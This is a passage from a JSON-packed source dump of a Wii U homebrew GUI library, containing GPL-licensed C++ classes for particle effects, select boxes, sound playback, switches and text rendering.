colorVertexs[i * 4 + 2] = 0xff;\n        colorVertexs[i * 4 + 3] = 0xff;\n    }\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVertexs, ColorShader::cuVertexAttrSize * CIRCLE_VERTEX_COUNT);\n    GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, colorVertexs, ColorShader::cuColorAttrSize * CIRCLE_VERTEX_COUNT);\n\n    particles.resize(particleCount);\n\n    for(u32 i = 0; i < particleCount; i++)\n    {\n        particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f;\n        particles[i].position.y = getRandMinusOneToOneF32() * getHeight() * 0.5f;\n        particles[i].position.z = 0.0f;\n        particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f);\n        particles[i].radius = getRandZeroToOneF32() * 30.0f + 60.0f;\n        particles[i].speed = (getRandZeroToOneF32() * 0.4f) + 0.6f;\n        particles[i].direction = getRandMinusOneToOneF32();\n    }\n}\n\nGuiParticleImage::~GuiParticleImage()\n{\n    free(posVertexs);\n    free(colorVertexs);\n}\n\nvoid GuiParticleImage::draw(CVideo *pVideo)\n{\n\tif(!this->isVisible())\n\t\treturn;\n\n\n\tf32 currScaleX = getScaleX();\n\tf32 currScaleY = getScaleY();\n\n    positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f;\n\n    scaleFactor[2] = getScaleZ();\n\n    //! add other colors intensities parameters\n    colorIntensity[3] = getAlpha();\n\n    for(u32 i = 0; i < particles.size(); ++i)\n    {\n        if(particles[i].position.y > (getHeight() * 0.5f + 30.0f))\n        {\n            particles[i].position.x = getRandMinusOneToOneF32() * getWidth() * 0.5f;\n            particles[i].position.y = -getHeight() * 0.5f - 30.0f;\n            particles[i].colors = glm::vec4(1.0f, 1.0f, 1.0f, (getRandZeroToOneF32() * 0.6f) + 0.05f);\n            particles[i].radius = getRandZeroToOneF32() * 30.0f + 60.0f;\n            particles[i].speed = (getRandZeroToOneF32() * 0.4f) + 0.6f;\n            particles[i].direction = getRandMinusOneToOneF32();\n        }\n        if(particles[i].position.x < (-getWidth() * 0.5f - 50.0f))\n        {\n            particles[i].position.x = -particles[i].position.x;\n        }\n\n\n        particles[i].direction += getRandMinusOneToOneF32() * 0.03f;\n        particles[i].position.x += particles[i].speed * particles[i].direction;\n        particles[i].position.y += particles[i].speed;\n\n        positionOffsets[0] = (getCenterX() + particles[i].position.x) * pVideo->getWidthScaleFactor() * 2.0f;\n        positionOffsets[1] = (getCenterY() + particles[i].position.y) * pVideo->getHeightScaleFactor() * 2.0f;\n\n        scaleFactor[0] = currScaleX * particles[i].radius * pVideo->getWidthScaleFactor();\n        scaleFactor[1] = currScaleY * particles[i].radius * pVideo->getHeightScaleFactor();\n\n        ColorShader::instance()->setShaders();\n        ColorShader::instance()->setAttributeBuffer(colorVertexs, posVertexs, CIRCLE_VERTEX_COUNT);\n        ColorShader::instance()->setAngle(0.0f);\n        ColorShader::instance()->setOffset(positionOffsets);\n        ColorShader::instance()->setScale(scaleFactor);\n        ColorShader::instance()->setColorIntensity(colorIntensity * particles[i].colors);\n        ColorShader::instance()->draw(GX2_PRIMITIVE_TRIANGLE_FAN, CIRCLE_VERTEX_COUNT);\n    }\n}\n"
  },
  {
    "path": "src/gui/GuiParticleImage.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _GUI_PARTICLE_IMAGE_H_\n#define _GUI_PARTICLE_IMAGE_H_\n\n#include \"GuiImage.h\"\n\nclass GuiParticleImage : public GuiImage, public sigslot::has_slots<>\n{\npublic:\n    GuiParticleImage(s32 w, s32 h, u32 particleCount);\n    virtual ~GuiParticleImage();\n\n    void draw(CVideo *pVideo);\nprivate:\n    f32 *posVertexs;\n    u8 *colorVertexs;\n\n    typedef struct\n    {\n        glm::vec3 position;\n        glm::vec4 colors;\n        f32 radius;\n        f32 speed;\n        f32 direction;\n    } Particle;\n\n    std::vector<Particle> particles;\n};\n\n#endif // _GUI_ICON_GRID_H_\n"
  },
  {
    "path": "src/gui/GuiSelectBox.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include <vector>\n#include <string>\n#include \"GuiSelectBox.h\"\n#include \"GuiImage.h\"\n#include \"GuiTrigger.h\"\n#include \"GuiImageData.h\"\n#include \"utils/StringTools.h\"\n/**\n * Constructor for the GuiCheckBox class.\n */\n\nGuiSelectBox::GuiSelectBox(std::string caption,GuiFrame *parent)\n : GuiFrame(300,300,parent)\n ,selected(0)\n ,captionText(caption)\n ,topValueImageData(Resources::GetImageData(\"gameSettingsButton.png\"))\n ,topValueImage(topValueImageData)\n ,topValueImageSelectedData(Resources::GetImageData(\"gameSettingsButtonSelected.png\"))\n ,topValueImageSelected(topValueImageSelectedData)\n ,topValueButton(topValueImage.getWidth(),topValueImage.getHeight())\n ,valueImageData(Resources::GetImageData(\"gameSettingsButtonEx.png\"))\n ,valueSelectedImageData(Resources::GetImageData(\"gameSettingsButtonExSelected.png\"))\n ,valueHighlightedImageData(Resources::GetImageData(\"gameSettingsButtonExHighlighted.png\"))\n ,touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n ,wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n ,buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true)\n ,buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true)\n ,buttonUpTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_UP | GuiTrigger::STICK_L_UP, true)\n ,buttonDownTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_DOWN | GuiTrigger::STICK_L_DOWN, true)\n ,DPADButtons(5,5)\n ,buttonClickSound(Resources::GetSound(\"settings_click_2.mp3\"))\n {\n    showValues = false;\n    bChanged = false;\n    bSelectedChanged = false;\n    opened = false;\n    topValueText.setFontSize(32);\n    topValueText.setAlignment(ALIGN_LEFT);\n    topValueText.setPosition(10,-7);\n    topValueButton.setLabel(&topValueText);\n    topValueButton.setImage(&topValueImage);\n    topValueButton.setIconOver(&topValueImageSelected);\n    topValueButton.setTrigger(&touchTrigger);\n    topValueButton.setTrigger(&wpadTouchTrigger);\n    topValueButton.setSoundClick(buttonClickSound);\n    topValueButton.clicked.connect(this, &GuiSelectBox::OnTopValueClicked);\n\n    valuesFrame.setState(STATE_HIDDEN);\n\n    DPADButtons.setTrigger(&buttonBTrigger);\n    DPADButtons.setTrigger(&buttonATrigger);\n    DPADButtons.setTrigger(&buttonDownTrigger);\n    DPADButtons.setTrigger(&buttonUpTrigger);\n    DPADButtons.clicked.connect(this, &GuiSelectBox::OnDPADClick);\n    DPADButtons.setState(STATE_DISABLE_INPUT);\n\n    append(&DPADButtons);\n    append(&valuesFrame);\n    append(&topValueButton);\n\n    showValues = false;\n    bChanged = true;\n}\n\nvoid GuiSelectBox::OnValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n  for(u32 i = 0; i < valueButtons.size(); ++i){\n    if(valueButtons[i].valueButton == button){\n        selected = i;\n        SelectValue(i);\n        break;\n    }\n  }\n}\n\nvoid GuiSelectBox::SelectValue(u32 value){\n    if(value < valueButtons.size()){\n        const wchar_t* w_text = valueButtons[value].valueButtonText->getText();\n        std::wstring ws(w_text);\n        std::string text(ws.begin(), ws.end());\n        topValueText.setText(text.c_str());\n\n        std::string real_value = buttonToValue[valueButtons[value].valueButton];\n        if(real_value.compare(std::string()) == 0) real_value = \"<error>\";\n\n        valueChanged(this,real_value);\n        ShowHideValues(false);\n    }\n}\n\nvoid GuiSelectBox::OnTopValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    ShowHideValues(!showValues);\n}\n\nvoid GuiSelectBox::ShowHideValues(bool showhide)\n{\n    showValues = showhide;\n    bChanged = true;\n}\n\nvoid GuiSelectBox::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(opened == true){\n        if(trigger == &buttonATrigger)\n        {\n            //! do not auto launch when wiimote is pointing to screen and presses A\n            if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer)\n            {\n                return;\n            }\n            SelectValue(selected);\n        }\n        else if(trigger == &buttonBTrigger)\n        {\n            if(button == &DPADButtons){\n                ShowHideValues(false);\n            }else{\n             }\n        }else if(trigger == &buttonUpTrigger){\n            if(selected > 0 ) selected--;\n            bSelectedChanged = true;\n        }\n        else if(trigger == &buttonDownTrigger){\n            selected++;\n            if(selected >= valueButtons.size()) selected = valueButtons.size() - 1;\n            bSelectedChanged = true;\n        }\n    }\n}\n\nvoid GuiSelectBox::Init(std::map<std::string,std::string> values, s32 valueID)\n{\n    if((u32)valueID >= values.size()){\n        valueID = 0;\n    }\n\n    selected = valueID;\n    bSelectedChanged = true;\n\n    DeleteValueData();\n\n    valueButtons.resize(values.size());\n\n    s32 i = 0;\n    f32 imgScale = 1.0f;\n    std::map<std::string, std::string>::iterator itr;\n    for(itr = values.begin(); itr != values.end(); itr++) {\n        if(i == valueID){\n            topValueText.setText(itr->first.c_str());\n        }\n\n        valueButtons[i].valueButtonImg = new GuiImage(valueImageData);\n\n        valueButtons[i].valueButtonCheckedImg = new GuiImage(valueSelectedImageData);\n        valueButtons[i].valueButtonHighlightedImg = new GuiImage(valueHighlightedImageData);\n        valueButtons[i].valueButton = new GuiButton(valueButtons[i].valueButtonImg->getWidth() * imgScale, valueButtons[i].valueButtonImg->getHeight() * imgScale);\n        valueButtons[i].valueButtonText = new GuiText(itr->first.c_str(),32,glm::vec4(1.0f, 1.0f, 1.0f, 1.0f));\n\n        valueButtons[i].valueButtonText->setMaxWidth(valueButtons[i].valueButtonImg->getWidth() * imgScale - 20.0f, GuiText::WRAP);\n        valueButtons[i].valueButtonText->setPosition(0, 0);\n\n        valueButtons[i].valueButtonImg->setScale(imgScale);\n        valueButtons[i].valueButtonCheckedImg->setScale(imgScale);\n\n        valueButtons[i].valueButton->setImage(valueButtons[i].valueButtonImg);\n        valueButtons[i].valueButton->setIconOver(valueButtons[i].valueButtonHighlightedImg);\n        valueButtons[i].valueButton->setTrigger(&touchTrigger);\n        valueButtons[i].valueButton->setTrigger(&wpadTouchTrigger);\n        valueButtons[i].valueButton->clicked.connect(this,&GuiSelectBox::OnValueClicked);\n        valueButtons[i].valueButton->setSoundClick(buttonClickSound);\n        valueButtons[i].valueButton->setLabel(valueButtons[i].valueButtonText);\n\n        //valueButtons[i].valueButton->setState(STATE_HIDDEN); //Wont get disabled soon enough\n\n        buttonToValue[valueButtons[i].valueButton] = itr->second;\n        s32 ypos = (((valueButtons[i].valueButtonImg->getHeight()*getScale()) * (i))+ (topValueImage.getHeight()-5)*getScale())*-1.0f;\n        valueButtons[i].valueButton->setPosition(0, ypos);\n        valuesFrame.append(valueButtons[i].valueButton);\n\n        i++;\n    }\n\n    //Collapse the thing!\n    showValues = false;\n    bChanged = true;\n}\n\nvoid GuiSelectBox::DeleteValueData()\n{\n    for(u32 i = 0; i < valueButtons.size(); ++i)\n    {\n        valuesFrame.remove(valueButtons[i].valueButton);\n        delete valueButtons[i].valueButtonImg;\n        delete valueButtons[i].valueButtonCheckedImg;\n        delete valueButtons[i].valueButtonHighlightedImg;\n        delete valueButtons[i].valueButton;\n        delete valueButtons[i].valueButtonText;\n    }\n    buttonToValue.clear();\n    valueButtons.clear();\n}\n\n/**\n * Destructor for the GuiButton class.\n */\nGuiSelectBox::~GuiSelectBox()\n{\n    DeleteValueData();\n    bChanged = false;\n    selected = 0;\n    showValues = false;\n    Resources::RemoveSound(buttonClickSound);\n    Resources::RemoveImageData(topValueImageData);\n    Resources::RemoveImageData(topValueImageSelectedData);\n    Resources::RemoveImageData(valueImageData);\n    Resources::RemoveImageData(valueHighlightedImageData);\n    Resources::RemoveImageData(valueSelectedImageData);\n}\n\n\nvoid GuiSelectBox::setState(s32 s, s32 c)\n{\n\tGuiElement::setState(s, c);\n}\n\nvoid GuiSelectBox::OnValueCloseEffectFinish(GuiElement *element)\n{\n    valuesFrame.effectFinished.disconnect(this);\n}\n\nf32 GuiSelectBox::getTopValueHeight() {\n    return topValueImage.getHeight();\n}\n\nf32 GuiSelectBox::getTopValueWidth() {\n    return topValueImage.getWidth();\n}\n\nf32 GuiSelectBox::getHeight(){\n    return getTopValueHeight();\n}\n\nf32 GuiSelectBox::getWidth(){\n    return getTopValueWidth();\n}\n\n\nvoid GuiSelectBox::OnValueOpenEffectFinish(GuiElement *element)\n{\n    valuesFrame.effectFinished.disconnect(this);\n    opened = true;\n}\n\nvoid GuiSelectBox::update(GuiController * c){\n    if(bChanged){\n        showhide(this,showValues);\n        if(showValues){\n            for(u32 i = 0; i < valueButtons.size(); ++i){ //TODO: only set when it really changed\n                if(i == selected){\n                    valueButtons[i].valueButton->setImage(valueButtons[i].valueButtonCheckedImg);\n                }else{\n                     valueButtons[i].valueButton->setImage(valueButtons[i].valueButtonImg);\n                }\n            }\n            valuesFrame.clearState(STATE_HIDDEN);\n            DPADButtons.clearState(STATE_DISABLE_INPUT);\n            valuesFrame.setEffect(EFFECT_FADE, 10, 255);\n            valuesFrame.effectFinished.connect(this, &GuiSelectBox::OnValueCloseEffectFinish);\n        }else{\n            opened = false;\n            valuesFrame.setState(STATE_HIDDEN);\n            DPADButtons.setState(STATE_DISABLE_INPUT);\n            valuesFrame.setEffect(EFFECT_FADE, -10, 0);\n            valuesFrame.effectFinished.connect(this, &GuiSelectBox::OnValueOpenEffectFinish);\n        }\n\n        bChanged = false;\n    }\n    if(bSelectedChanged){\n        for(u32 i = 0; i < valueButtons.size(); ++i){\n            if(i == selected){\n                 valueButtons[i].valueButton->setState(STATE_SELECTED);\n            }else{\n                 valueButtons[i].valueButton->clearState(STATE_SELECTED);\n            }\n        }\n    }\n    topValueButton.setState(getState());\n    GuiFrame::update(c);\n}\n"
  },
  {
    "path": "src/gui/GuiSelectBox.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_SELECTBOX_H_\n#define GUI_SELECTBOX_H_\n\n#include \"Gui.h\"\n#include \"GuiImage.h\"\n#include \"GuiImageData.h\"\n\n//!A simple CheckBox\nclass GuiSelectBox : public GuiFrame, public sigslot::has_slots<>\n\n{\n\tpublic:\n\t\t//!Constructor\n\t\t//!\\param checked Checked\n\t\tGuiSelectBox(std::string caption,GuiFrame *parent = 0);\n\t\t//!Destructor\n\t\tvirtual ~GuiSelectBox();\n\n        sigslot::signal2<GuiSelectBox *, std::string> valueChanged;\n        sigslot::signal2<GuiSelectBox *, bool> showhide;\n        void OnTopValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n        void Init(std::map<std::string,std::string> values, s32 valueID);\n\n        void setState(s32 s, s32 c = -1);\n\n        virtual f32 getTopValueHeight();\n        virtual f32 getTopValueWidth();\n\n        virtual f32 getHeight();\n        virtual f32 getWidth();\n\n\tprotected:\n\t    void DeleteValueData();\n        void update(GuiController * c);\n\n\t    void OnValueClicked(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n        void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n        void OnValueOpenEffectFinish(GuiElement *element);\n        void OnValueCloseEffectFinish(GuiElement *element);\n        void ShowHideValues(bool showhide);\n        void SelectValue(u32 value);\n\n        u32 selected;\n        bool bChanged;\n        bool bSelectedChanged;\n        bool showValues;\n        bool opened;\n        std::string captionText;\n        GuiFrame valuesFrame;\n        GuiImageData *topValueImageData;\n        GuiImage topValueImage;\n        GuiImageData *topValueImageSelectedData;\n        GuiImage topValueImageSelected;\n\n        GuiButton topValueButton;\n        GuiImageData * valueImageData;\n        GuiImageData * valueSelectedImageData;\n        GuiImageData * valueHighlightedImageData;\n        GuiText topValueText;\n\n        GuiTrigger touchTrigger;\n        GuiTrigger wpadTouchTrigger;\n\n        GuiTrigger buttonATrigger;\n        GuiTrigger buttonBTrigger;\n        GuiTrigger buttonLeftTrigger;\n        GuiTrigger buttonRightTrigger;\n        GuiTrigger buttonUpTrigger;\n        GuiTrigger buttonDownTrigger;\n\n        GuiButton DPADButtons;\n\n        GuiSound* buttonClickSound;\n\n        typedef struct\n        {\n            GuiImage *valueButtonImg;\n            GuiImage *valueButtonCheckedImg;\n            GuiImage *valueButtonHighlightedImg;\n            GuiButton *valueButton;\n            GuiText *valueButtonText;\n        } SelectBoxValueButton;\n\n        std::map<GuiButton * ,std::string> buttonToValue;\n        std::vector<SelectBoxValueButton> valueButtons;\n\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiSound.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiSound.h\"\n#include \"sounds/SoundHandler.hpp\"\n#include \"dynamic_libs/os_functions.h\"\n\nGuiSound::GuiSound(const char * filepath)\n{\n\tvoice = -1;\n\tLoad(filepath);\n}\n\nGuiSound::GuiSound(const u8 * snd, s32 length)\n{\n\tvoice = -1;\n\tLoad(snd, length);\n}\n\nGuiSound::~GuiSound()\n{\n    if(voice >= 0)\n    {\n        SoundHandler::instance()->RemoveDecoder(voice);\n    }\n}\n\n\nbool GuiSound::Load(const char * filepath)\n{\n    if(voice >= 0)\n    {\n        SoundHandler::instance()->RemoveDecoder(voice);\n        voice = -1;\n    }\n\n    //! find next free decoder\n    for(s32 i = 0; i < MAX_DECODERS; i++)\n    {\n        SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i);\n        if(decoder == NULL)\n        {\n            SoundHandler::instance()->AddDecoder(i, filepath);\n            decoder = SoundHandler::instance()->getDecoder(i);\n            if(decoder)\n            {\n                voice = i;\n                SoundHandler::instance()->ThreadSignal();\n            }\n            break;\n        }\n    }\n\n    if(voice < 0){\n        return false;\n    }\n\n\treturn true;\n}\n\nbool GuiSound::Load(const u8 * snd, s32 len)\n{\n    if(voice >= 0)\n    {\n        SoundHandler::instance()->RemoveDecoder(voice);\n        voice = -1;\n    }\n\n    if(!snd)\n        return false;\n\n    //! find next free decoder\n    for(s32 i = 0; i < MAX_DECODERS; i++)\n    {\n        SoundDecoder * decoder = SoundHandler::instance()->getDecoder(i);\n        if(decoder == NULL)\n        {\n            SoundHandler::instance()->AddDecoder(i, snd, len);\n            decoder = SoundHandler::instance()->getDecoder(i);\n            if(decoder)\n            {\n                voice = i;\n                SoundHandler::instance()->ThreadSignal();\n            }\n            break;\n        }\n    }\n\n    if(voice < 0){\n        return false;\n    }\n\n\treturn true;\n}\n\nvoid GuiSound::Play()\n{\n    Stop();\n\n    Voice * v = SoundHandler::instance()->getVoice(voice);\n    if(v)\n        v->setState(Voice::STATE_START);\n\n\n}\n\nvoid GuiSound::Stop()\n{\n    Voice * v = SoundHandler::instance()->getVoice(voice);\n    if(v)\n    {\n        if((v->getState() != Voice::STATE_STOP) && (v->getState() != Voice::STATE_STOPPED))\n            v->setState(Voice::STATE_STOP);\n\n        while(v->getState() != Voice::STATE_STOPPED)\n            os_usleep(1000);\n    }\n\n    SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice);\n    if(decoder)\n    {\n        decoder->Lock();\n        decoder->Rewind();\n        decoder->ClearBuffer();\n        SoundHandler::instance()->ThreadSignal();\n        decoder->Unlock();\n    }\n}\n\nvoid GuiSound::Pause()\n{\n    if(!IsPlaying())\n        return;\n\n    Voice * v = SoundHandler::instance()->getVoice(voice);\n    if(v)\n        v->setState(Voice::STATE_STOP);\n}\n\nvoid GuiSound::Resume()\n{\n    if(IsPlaying())\n        return;\n\n    Voice * v = SoundHandler::instance()->getVoice(voice);\n    if(v)\n        v->setState(Voice::STATE_START);\n}\n\nbool GuiSound::IsPlaying()\n{\n    Voice * v = SoundHandler::instance()->getVoice(voice);\n    if(v){\n        return v->getState() == Voice::STATE_PLAYING;\n    }\n\treturn false;\n}\n\nvoid GuiSound::SetVolume(u32 vol)\n{\n    if(vol > 100)\n        vol = 100;\n\n    u32 volumeConv = ( (0x8000 * vol) / 100 ) << 16;\n\n    Voice * v = SoundHandler::instance()->getVoice(voice);\n    if(v)\n        v->setVolume(volumeConv);\n}\n\nvoid GuiSound::SetLoop(bool l)\n{\n    SoundDecoder * decoder = SoundHandler::instance()->getDecoder(voice);\n    if(decoder)\n        decoder->SetLoop(l);\n}\n\nvoid GuiSound::Rewind()\n{\n    Stop();\n}\n"
  },
  {
    "path": "src/gui/GuiSound.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_SOUND_H_\n#define GUI_SOUND_H_\n\n#include <gctypes.h>\n#include \"system/AsyncDeleter.h\"\n\n//!Sound conversion and playback. A wrapper for other sound libraries - ASND, libmad, ltremor, etc\nclass GuiSound : public AsyncDeleter::Element\n{\n\tpublic:\n\t\t//!Constructor\n\t\t//!\\param sound Pointer to the sound data\n\t\t//!\\param filesize Length of sound data\n\t\tGuiSound(const char * filepath);\n\t\tGuiSound(const u8 * sound, s32 length);\n\t\t//!Destructor\n\t\tvirtual ~GuiSound();\n\t\t//!Load a file and replace the old one\n\t\tbool Load(const char * filepath);\n\t\t//!Load a file and replace the old one\n\t\tbool Load(const u8 * snd, s32 len);\n\t\t//!Start sound playback\n\t\tvoid Play();\n\t\t//!Stop sound playback\n\t\tvoid Stop();\n\t\t//!Pause sound playback\n\t\tvoid Pause();\n\t\t//!Resume sound playback\n\t\tvoid Resume();\n\t\t//!Checks if the sound is currently playing\n\t\t//!\\return true if sound is playing, false otherwise\n\t\tbool IsPlaying();\n\t\t//!Rewind the music\n\t\tvoid Rewind();\n\t\t//!Set sound volume\n\t\t//!\\param v Sound volume (0-100)\n\t\tvoid SetVolume(u32 v);\n\t\t//!\\param l Loop (true to loop)\n\t\tvoid SetLoop(bool l);\n\tprotected:\n\t\ts32 voice; //!< Currently assigned ASND voice channel\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiSwitch.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiSwitch.h\"\n#include \"GuiImage.h\"\n#include \"GuiImageData.h\"\n/**\n * Constructor for the GuiSwitch class.\n */\n\nGuiSwitch::GuiSwitch(bool checked,f32 w, f32 h)\n : GuiToggle(checked,w,h)\n ,switchbase_imgdata(Resources::GetImageData(\"switchIconBase.png\"))\n ,switchbase_img(switchbase_imgdata)\n ,switchbase_highlighted_imgdata(Resources::GetImageData(\"switchIconBaseHighlighted.png\"))\n ,switchbase_highlighted_img(switchbase_highlighted_imgdata)\n ,switchOn_imgdata(Resources::GetImageData(\"switchIconOn.png\"))\n ,switchOn_img(switchOn_imgdata)\n ,switchOff_imgdata(Resources::GetImageData(\"switchIconOff.png\"))\n ,switchOff_img(switchOff_imgdata)\n{\n    f32 scale = 1.0;\n    if(switchbase_img.getHeight() > switchbase_img.getWidth()){\n        scale = height/switchbase_img.getHeight();\n    }else{\n        scale = width/switchbase_img.getWidth();\n    }\n\n    switchbase_img.setScale(scale);\n    switchbase_highlighted_img.setScale(scale);\n    switchOn_img.setScale(scale);\n    switchOff_img.setScale(scale);\n\n    switchOn_img.setParent(this);\n    switchOn_img.setAlignment(ALIGN_RIGHT);\n    //switchOn_img.setPosition((width/4.0),0);\n    switchOff_img.setParent(this);\n    switchOff_img.setAlignment(ALIGN_LEFT);\n    //switchOff_img.setPosition(-((width/4.0)),0);\n    setImage(&switchbase_img);\n    setIconOver(&switchbase_highlighted_img);\n}\n/**\n * Destructor for the GuiButton class.\n */\nGuiSwitch::~GuiSwitch()\n{\n    Resources::RemoveImageData(switchbase_imgdata);\n    Resources::RemoveImageData(switchbase_highlighted_imgdata);\n    Resources::RemoveImageData(switchOn_imgdata);\n    Resources::RemoveImageData(switchOff_imgdata);\n}\n\nvoid GuiSwitch::draw(CVideo *v){\n    GuiToggle::draw(v);\n    if(getValue()){\n        switchOn_img.draw(v);\n    }else{\n        switchOff_img.draw(v);\n    }\n}\n"
  },
  {
    "path": "src/gui/GuiSwitch.h",
    "content": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef GUI_SWTICH_H_\n#define GUI_SWTICH_H_\n\n#include \"GuiToggle.h\"\n#include \"GuiImage.h\"\n#include \"GuiImageData.h\"\n\n//!A simple switch\nclass GuiSwitch : public GuiToggle\n{\n\tpublic:\n\t\t//!Constructor\n\t\t//!\\param checked Checked\n\t\tGuiSwitch(bool checked,f32 w, f32 h);\n\t\t//!Destructor\n\t\tvirtual ~GuiSwitch();\n\n\tprotected:\n\n        GuiImageData * switchbase_imgdata;\n        GuiImage switchbase_img;\n\n        GuiImageData * switchbase_highlighted_imgdata;\n        GuiImage switchbase_highlighted_img;\n\n        GuiImageData * switchOn_imgdata;\n        GuiImage switchOn_img;\n\n        GuiImageData * switchOff_imgdata;\n        GuiImage switchOff_img;\n\n        void draw(CVideo * v);\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/GuiText.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"GuiText.h\"\n#include \"FreeTypeGX.h\"\n#include \"video/CVideo.h\"\n\nFreeTypeGX * GuiText::presentFont = NULL;\ns32 GuiText::presetSize = 28;\nfloat GuiText::presetInternalRenderingScale = 2.0f; //Lets render the font at the doubled size. This make it even smoother!\ns32 GuiText::presetMaxWidth = 0xFFFF;\ns32 GuiText::presetAlignment = ALIGN_CENTER | ALIGN_MIDDLE;\nGX2ColorF32 GuiText::presetColor = (GX2ColorF32){ 1.0f, 